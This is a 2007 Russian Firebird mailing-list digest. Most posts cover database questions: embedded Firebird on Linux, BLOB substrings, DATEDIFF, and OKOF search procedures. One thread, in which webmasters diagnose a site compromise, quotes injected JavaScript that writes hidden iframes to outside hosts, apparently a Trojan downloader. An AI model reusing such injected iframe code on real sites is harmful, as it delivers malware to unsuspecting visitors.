Re: forum.ibase.ru

2007-10-01 Пенетрантность Dmitri Kuzmenko


Hello, Дмитрий!

Дмитрий Пекаровский wrote:


Та же тема. Думал, что пароли ушли через троянов на компах
пользователей, которые имели доступ к сайту по ftp, заменил пароли,
проверил, опять блин!


тут вот какая система. возможно этот скрипт, когда
садится на форму с полями ввода, отправляет результат ввода
на тот сайт. Могу ошибаться, но если предположить, что
пароли на ftp у меня утянул вирусняк, то
почему на 100мб.ру заразило все сайты, а на мастерхосте -
ни одного?
у меня доступ ко всем сайтам из одного Dreamweaver.

так что, чудится мне, что это или
1) проблема у хостера
2) каким-то образом хакается phpbb2.

дополнительные наблюдения. этот вирусняк, в html -
Troyan.Downloader.
причем eTrust 7.1 его не обнаруживает,
касперский на avp.ru тоже не обнаруживает.

Только drweb 4.44 его находит в страницах, как в файлах
так и при просмотре на вебе. НО. я такую страничку себе скопировал,
она дрвебом детектировалась при копировании, а сейчас
почему-то игнорируется.

--
Dmitri Kouzmenko, www.ibase.ru, (495) 953-13-34




Re[2]: Установка Firebird (вместе со своей программой) на Linux/*BSD

2007-10-01 Пенетрантность Vasiliy Petrov

Здравствуйте, Oleg.

Вы писали Sunday, September 30, 2007, 2:01:07 PM:

 Надо включить в инсталл (rpm) своей проги сам Firebird (2.0.x Classic).

 Просто интересно, какой смысл? Почему просто не прописать firebird в 
 зависимости своего rpm ?

Ну, вобщем, я вроде разобрался куда что прописывать и что создавать,
чтобы сервер работал.

Смысл:
- Установить Firebird в другое место и повесить на другой порт, чтобы не
мешал если уже другой установлен
- Дефолтный инсталлер генерирует пароль, который root должен смотреть
в SYSDBA.password. Это не мне не нужно

Самое главное - не понял я до конца что с Embedded. Клиентская либа от
CS содержит и серверный код.

Но на http://www.firebirdsql.org/manual/ufb-cs-embedded.html написано, что
все равно нужен полность сконфигурированный сервер, обязательно указывать
имя хоста (в отличие от виндового embedded).

НО! У меня был выключен xinitd (т.е. порт 3050 не прослушивался)

При этом я через isql успешно соединялся/создавал БД. (Естественно,
имя хоста перед именем файла не указывалось, т.к. xinitd не работал).

Т.о. то, что написано по ссылке выше - неправда.

Также нашел пост Helen Borrie:
http://archive.netbsd.se/?ml=firebird-docsa=2007-07m=4689839
Она говорит про еще одну неточность, что In Firebird 2.0, use of the
embedded server as a network client is no longer possible. - неправда

Вопрос: что же все-тки надо, чтобы работал Firebird Embedded под Linux?
security2.fdb, icu*, .msg, группа и юзер Firebird, переменные среды - ?

Этот же вопрос интересует и применительно к Маку, но хотя бы с
Линуксом сначала разобраться.

-- 
С уважением,
 Vasiliy  mailto:[EMAIL PROTECTED]



Re: Re[2]: forum.ibase.ru

2007-10-01 Пенетрантность Дмитрий Пекаровский

On Mon, 1 Oct 2007 08:15:04 +0300
Константин [EMAIL PROTECTED] wrote:

 
 ДП Та же тема. Думал, что пароли ушли через троянов на компах
 ДП пользователей, которые имели доступ к сайту по ftp, заменил пароли,
 ДП проверил, опять блин!
 
 Короче у меня была подобная ситуация ...
 Долго не мог понять что за ахинея ...
 Если честно до сих пор не пойму ...
 Но решилось просто !!!
 По одному отключал банеры и рекламу 
 На одном из таких банеров и нашёл какай-то скрипт ...
 Правда, если честно со скриптом не разбирался ...
 Просто выкинул ссылку на эту банерную систему и всё ;)
 
 PS: в моём случае херило страницы дописывая в конец после тега /HTML
 какой-то ява скипт ...

Похоже на то, что это mystat-in.net (MyTOP).
Заявку своему прову я уже отправил. Мож разберется.

А код такой:
script type=text/javascriptdocument.write('\u003c\u0
iframe src='http://x12345.org/img/counter.php?out=1189360677'
width='1' height='2'/iframe 

//Димыч


Re: База - временный файл

2007-10-01 Пенетрантность Tonal


Tonal пишет:
Проблему решил классическим отложенным удалением - запустил на выходе из 
демки батник с циклом. :-)


В общем, вывод такой: если используются события (event), то после 
отключения последнего подключения базу ещё некоторое время держат.
Если подключения были через embedded, то держат по видимому не дольше 
чем до выгрузки fbembed.dll. Если подключение через XNET, то не ясно.

Но по утверждению Влада не менее чем 5 сек.

Тестировал на релизе 2.0.3 и снапшоте 2.0.3 от 2007-09-26

Мне кажется, что это поведение надо где-то хотя бы описать, раз уж 
избежать его не получается...

--
Александр Замараев



Re: forum.ibase.ru

2007-10-01 Пенетрантность Alexander Kolokolzov
Dmitri Kuzmenko [EMAIL PROTECTED] сообщил/сообщила в новостях следующее: 
news:[EMAIL PROTECTED]
 
 это хак? каким макаром проще всего прочитать текст в виде
 %77%69%6e%64%6f%77%2e%... ?
Могу кинуть в форум исходник скрипта .hta (2Кб), который такое расшифровывает. 
К примеру, приведенный кусок текста он перевел как window. (без кавычек).

Re: forum.ibase.ru

2007-10-01 Пенетрантность Dmitri Kuzmenko


Hello, Alexander!

Alexander Kolokolzov wrote:


Могу кинуть в форум исходник скрипта .hta (2Кб), который такое расшифровывает. 
К примеру, приведенный кусок текста он перевел как window. (без 
кавычек).


спасибо, уже перевели. это

window.status='Done';document.write('iframe name=bc
src=\'http://dimit.ru/stat.html?'+Math.round(Math.random()*289548)+'f6a09ec26c\' 


width=756 height=383 style=\'display: none\'/iframe')

--
Dmitri Kouzmenko, www.ibase.ru, (495) 953-13-34




Re: forum.ibase.ru

2007-10-01 Пенетрантность Kochmin Alexandr


Dmitri Kuzmenko пишет:

window.status='Done';document.write('iframe name=bc
src=\'http://dimit.ru/stat.html?'+Math.round(Math.random()*289548)+'f6a09ec26c\' 


width=756 height=383 style=\'display: none\'/iframe')


вот а во фрейме наверное троян.
Ну или это уже адварь.

--
Кочмин Александр



Re: Как извлечь текст в SELECT-запрсе из поля BLOB?

2007-10-01 Пенетрантность Sergey Mereutsa

Привет!

 Как извлечь текст в SELECT-запрсе из поля BLOB?

 Может есть что-то типа
 SELECT  cast(NOTE as varchar(2000)) FROM tbl
 [указанное не работает]

 NOTE - поле типа BLOB
 ?

Substring тебе в руки.


-- 
Best regards,
 Sergeymailto:[EMAIL PROTECTED]




Re: Как извлечь текст в SELECT-запрсе из поля BLOB?

2007-10-01 Пенетрантность Ingwar
 Substring тебе в руки.

Супер, запрос типа
SELECT SUBSTRING(NOTE FROM 1 FOR 100) AS NOTE_TEXT FROM TBL
работает :)


Re: Как извлечь текст в SELECT-запрсе из поля BLOB?

2007-10-01 Пенетрантность Ingwar
 Substring тебе в руки.

Супер, запрос типа
SELECT SUBSTRING(NOTE FROM 1 FOR 100) AS NOTE_TEXT FROM TBL
работает :)


Re[2]: Как извлечь текст в SELECT-запрсе из поля BLOB?

2007-10-01 Пенетрантность Sergey Mereutsa

Привет!

 Супер, запрос типа
 SELECT SUBSTRING(NOTE FROM 1 FOR 100) AS NOTE_TEXT FROM TBL
 работает :)

Только учитывай - что даже если 1 символ попросишь, он все равно
слопает не менее 1 страницы на результат. Так что таким образом
выборки из больших таблиц я бы не делал :) Если тебе реально надо 100
символов - заведи себе дополнительное поле и триггером заполняй.


З.Ы. Небось первые 100 символов из статьи достаешь?


-- 
Best regards,
 Sergeymailto:[EMAIL PROTECTED]




Файлы по ОКОФ

2007-10-01 Пенетрантность Fanis

Привет!
http://chishmy.ru/ - внизу страницы две ссылки на файлы проекта Turbo
и скрипта БД
Комментарий пока нет - я тут запарился на основной работе, писал по
вечерам до звонка от жены Сволочь! Опять допоздна и опять
нажрешься!! :-)))
Все ХП по поиску разбиты на куски - чтоб было понятно. А что непонятно
- допишу позднее.
В поиске используются словарь слов и синонимов, урезанных до корней.
В поиск можно передать as_string1024
ниже все это рубится на слова
CREATE OR ALTER PROCEDURE WORDS_COUNT(
AWORD VARCHAR(1024))
RETURNS (
SWORD VARCHAR(50))
AS
declare variable J INTEGER;
declare variable AJ INTEGER;
declare variable CLEN INTEGER;
begin
  AWORD=UPPER(AWORD);
  CLEN=CHAR_LENGTH(TRIM(AWORD));
  J=1;
  AJ=1;
  WHILE (J=CLEN) DO
  BEGIN
IF (SUBSTRING(AWORD FROM :J FOR 1) IN
('(',')','[',']','{','}','-',' ',',','.',';','/','\',':')) THEN
BEGIN
  SWORD=TRIM(SUBSTRING(AWORD FROM AJ FOR J-AJ));
  if (CHAR_LENGTH(SWORD)2) then
  SUSPEND;
  J=J+1;
  AJ=J;
END ELSE J=J+1;
  END
  if (AJJ) then
  BEGIN
SWORD=TRIM(SUBSTRING(AWORD FROM AJ FOR J-AJ));
if (CHAR_LENGTH(SWORD)2) then
SUSPEND;
EXIT;
  END
end

ниже поиск совпадения слова в словаре - решил тупо посредством
усечения слова в цикле
CREATE OR ALTER PROCEDURE SEEK_WORDS(
AWORD VARCHAR(50))
RETURNS (
WORD_ID INTEGER,
OKOF_COUNT INTEGER)
AS
declare variable SID INTEGER;
declare variable CCOUNT INTEGER;
declare variable IN_OKOF INTEGER;
declare variable CLEN INTEGER;
declare variable XWORD VARCHAR(50);
begin
  AWORD=UPPER(AWORD);
  CLEN=CHAR_LENGTH(TRIM(AWORD));
  WHILE (:cLEN=3) DO
  BEGIN
XWORD=SUBSTRING(:AWORD from 1 for :CLEN);
CCOUNT=0;
FOR select ID,IN_OKOF,OKOF_COUNT from WORDS
where sname=:XWORD into :SID,:IN_OKOF,:OKOF_COUNT DO
BEGIN
  if (IN_OKOF=0) then /*ЭТО СИНОНИМ*/
  BEGIN
SELECT FIRST(1) WORDS.ID,WORDS.OKOF_COUNT
FROM SYN_WORDS
LEFT JOIN WORDS ON SYN_WORDS.WORDS_ID=WORDS.ID
WHERE SYN_WORDS.SYN_ID=:SID AND WORDS.IN_OKOF=1
INTO :WORD_ID,:OKOF_COUNT;
if (WORD_ID IS NOT NULL) then
BEGIN
  CCOUNT=CCOUNT+1;
  suspend;
END
  END ELSE
  BEGIN
WORD_ID=SID;
CCOUNT=CCOUNT+1;
suspend;
  END
END
if (CCOUNT0) then EXIT;
clen=clen-1;
  end
end

Собственно, пока достаточно.
Фанис



Нелогичное поведение функции DATEDIFF?

2007-10-01 Пенетрантность Пиминов Роман

Обнаружил, что при операциях с частями даты и частями времени используется 
разная логика.

Для дат:
DATEDIFF(MONTH, CAST('30.01.2007' AS DATE), CAST('31.01.2007' AS
DATE)) вернет 0, а
DATEDIFF(MONTH, CAST('31.01.2007' AS DATE), CAST('01.02.2007' AS
DATE)) вернет 1. То есть получается сдвиг значения происходит при
смене месяца.

Для времени:
DATEDIFF(HOUR, CAST('01:59:59' AS TIME), CAST('02:59:58' AS
TIME)) вернет 0, а
DATEDIFF(HOUR, CAST('01:59:59' AS TIME), CAST('02:59:59' AS
TIME)) вернет 1. Получается, что считается количество целых часов.

Почему так сделано, кто знает?



Re: Файлы по ОКОФ

2007-10-01 Пенетрантность Sergey Mereutsa

Привет!

 ниже все это рубится на слова

А что такое этот самый ОКОФ?


-- 
Best regards,
 Sergeymailto:[EMAIL PROTECTED]




Re: Файлы по ОКОФ

2007-10-01 Пенетрантность Alexander A. Venikov


Hello, Sergey!
You wrote to Fanis on Mon, 1 Oct 2007 19:47:00 +0300:

SM А что такое этот самый ОКОФ?
Общероссийский Классификатор Основных Фондов, не к ночи будь помянут... Сейчас 
вышла новая версия, если можно так выразиться, и как бухгалтерам и 
программистам выкручиваться - ХЕЗ. А кого из инициаторов это волновало? ИМХО 
никого.

--
Удач
Alexander A. Venikov, Tobolsk, Russia